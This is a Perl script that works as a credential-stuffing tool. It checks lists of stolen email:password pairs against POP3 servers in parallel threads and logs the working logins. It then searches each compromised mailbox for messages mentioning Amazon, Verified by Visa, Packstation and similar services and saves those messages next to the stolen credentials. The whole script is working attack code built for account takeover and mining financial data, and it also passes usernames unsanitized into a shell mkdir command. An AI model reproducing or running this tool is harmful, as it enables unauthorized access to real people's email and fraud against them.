# email:pw -> pop3-check -> TRUE -> write valid-mails.txt .... --> Get number of mails in Account --> Get
# All email header data and search for something -> if something found  -> mkdir $email ->
# generate mail -> asFSDf.html
use threads;
use warnings;
use Net::POP3;
my $count=0;
my $counter=0;
my $trigger = 30;
my $trigger2= 30;
my $threads = $ARGV[0];
my $break = "_____________________________________________________________________________________";
if (@ARGV <1){print "Usage: Check.pl Threadnumber [Example: check.pl 10]\n";exit;}

&begin;
print "[-] Starting....\n[-]\n";
foreach my $item (@accs){
	my $ctr = 0;foreach my $thr (threads->list){$ctr++;}
	if ($counter == $trigger){print "[-] Got $counter of ".scalar(@accs)." Accounts\n";$trigger=$trigger + 30;}
    if ($ctr < $threads){$counter++;threads->create(\&connect,$item);}else{redo;}
}

while (threads->list) {}
print "[-]\n[-] Done .... ";
close($pop);

 sub connect{
	my $item = shift;
	my @temp = split( /:/, $item);
	chomp($temp[0]);
    chomp($temp[1]);
	my $username = $temp[0];
	my $password = $temp[1];
    for(my $i = 0; $i < @pop3_kennung; $i++) {
        if($username =~ m/$pop3_kennung[$i]/) {
            chomp($pop3_server[$i] );
            if($pop = Net::POP3->new($pop3_server[$i], Timeout => 30 )) {
				my $ret;
                if( $ret = $pop->login($username, $password) and  $ret > 0) {
					print "[-] $username:$password is valid\n";
					&handle2($username.":".$password);
					my $msgnums = $pop->list;
					my $count = 0;
					print "[-] We got ".$ret." Mails to fetch... Starting\n";
					foreach my $msgnum (keys %$msgnums) {
						my $msg = $pop->top($msgnum);
						foreach my $line (@{ $msg }) {
							if ( grep /Amazon|Karlo|Vefied by Visa|Packstation/i, $line){	# HIIIIIER
								if (-d $username){}else{system("mkdir $username")}
								my @filez;
								my $ms = $pop->get($msgnum);
								push @filez, $username.":".$password."\n\n";
								foreach(@{ $ms }) { push @filez, $_ } push @filez , "\n".$break."\n";
								my $namez = gen();
								open(FILE_OUT,">> $username/$namez.html");
								print FILE_OUT @filez;close(FILE_OUT);
								print "[-] FOUND something... wrote in $username/$namez.html\n";
								last;
								}
							}
						if ($count == $trigger2){
							print "[-] Got $count of ".$ret." Mails to fetch\n";
							$trigger2 = $trigger2 + 30;
							}
						$count++
						}
					}
				}
			}
		}
	threads->detach();
}


sub handle2{
	my $tmps = shift;
    open(FILE_OUTs,">> valid_mail-logins_new.txt");
    print FILE_OUTs "$tmps\n";
    close(FILE_OUTs);
}
sub begin{
	open(FILE_IN_LOGIN, "logindaten.txt" ) or die("Cannot find logindaten.txt\n");
	open(FILE_IN_POP3, "pop3_server.txt" ) or die("Cannot find pop3_server.txt\n");
	while(!eof(FILE_IN_POP3)) {
		my $line = <FILE_IN_POP3>;
        my @temp = split(/:/, $line);
        push( @pop3_kennung, $temp[0]);
        push( @pop3_server, $temp[1]);
	}
	foreach (<FILE_IN_LOGIN>){
		push @accs, $_;
	}
	close(FILE_IN_LOGIN);
	close(FILE_IN_POP3);
}

sub gen{
	my @chars = ('a'..'z','0'..'9');
	my $str = '';
	for (1..12) {$str.= $chars[int rand @chars];}
	return $str;
}